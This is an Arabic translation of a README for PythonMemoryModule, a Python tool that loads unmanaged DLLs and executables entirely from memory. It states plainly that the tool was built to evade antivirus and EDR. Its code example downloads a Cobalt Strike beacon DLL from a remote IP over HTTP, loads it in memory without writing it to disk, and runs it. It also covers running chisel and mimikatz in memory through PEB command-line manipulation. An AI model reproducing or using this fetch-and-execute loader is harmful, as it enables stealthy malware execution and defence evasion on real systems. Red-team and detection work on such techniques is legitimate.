
تنفيذ خالص بلغة بايثون لتقنية MemoryModule لتحميل مكتبات dll وملفات exe غير مُدارة بالكامل من الذاكرة
تنفيذ خالص بلغة Python لتقنية MemoryModule لتحميل ملف dll أو exe غير مُدار بالكامل من الذاكرة
صورة مولّدة بالذكاء الاصطناعي بعنوان "Python memory module" - hotpot.ai
PythonMemoryModule هو نقل (porting) لتقنية MemoryModule باستخدام ctypes في Python، والتي نُشرت أصلاً بواسطة Joachim Bauch. يمكنه تحميل ملف dll أو exe غير مُدار باستخدام Python دون الحاجة إلى استخدام مكتبة خارجية (pyd)، ويدعم (بشكل جزئي) تمرير معاملات سطر الأوامر.
يستفيد من pefile لتحليل رؤوس PE، و PythonForWindows للوصول إلى معاملات العملية، و ctypes للأعمال الثقيلة. تم تصميم الأداة في الأصل لاستخدامها كوحدة من Pyramid لتوفير المراوغة ضد برامج مكافحة الفيروسات/EDR عن طريق تحميل حمولات dll/exe في python.exe بالكامل من الذاكرة، ولكن هناك حالات استخدام أخرى ممكنة (حماية الملكية الفكرية، تحميل pyds في الذاكرة، فروع لتقنيات أكثر تمويهاً) لذا قررت إنشاء مستودع مخصص.
في المثال التالي، يتم تنزيل dll (بيكن) غير مرحلي من Cobalt Strike (دون حفظه على القرص)، ثم تحميله في الذاكرة وتشغيله عن طريق استدعاء نقطة الدخول.
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()
ملاحظة: إذا كنت تستخدم التقسيم (staging) في ملف التعريف القابل للتشكيل الخاص بك، فلن يتمكن الـ dll من التحميل باستخدام LoadLibrary، وبالتالي لن تعمل MemoryModule.

في المثال التالي نستخدم وظيفة تمرير سطر الأوامر لتنفيذ chisel في الذاكرة.
https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7
تم تنفيذ هذه التقنية عن طريق التلاعب بمعامل Commandline في PEB أثناء وقت التشغيل. لن يعمل هذا مع كل ملف قابل للتنفيذ لأنه يعتمد على الوظائف المستخدمة لتمرير الوسائط.
بشكل عام، للحصول على تقنية تعمل عالميًا، سيكون من الضروري ربط (hook) الدوال GetCommandlineA و GetCommandlineW و __getmainargs و __wgetmainargs لأن التلاعب بـ PEB لن يغطي جميع الحالات، مزيد من التفاصيل هنا
خلال اختباراتي، وجدت أن mimikatz وعدة ثنائيات Go تعمل فقط عن طريق التلاعب بـ PEB، من ناحية أخرى، من المرجح أن تمرير سطر الأوامر عبر التلاعب بـ PEB وحده إلى ثنائيات mingw و VS لن يعمل.
استخدام تقنية MemoryModule سيحترم في الغالب صلاحيات الأقسام الخاصة بـ DLL الهدف ويتجنب نهج RWX الصاخب. ومع ذلك، سيكون هناك private commit غير مدعوم بـ dll على القرص، وهذه علامة مميزة لـ MemoryModule.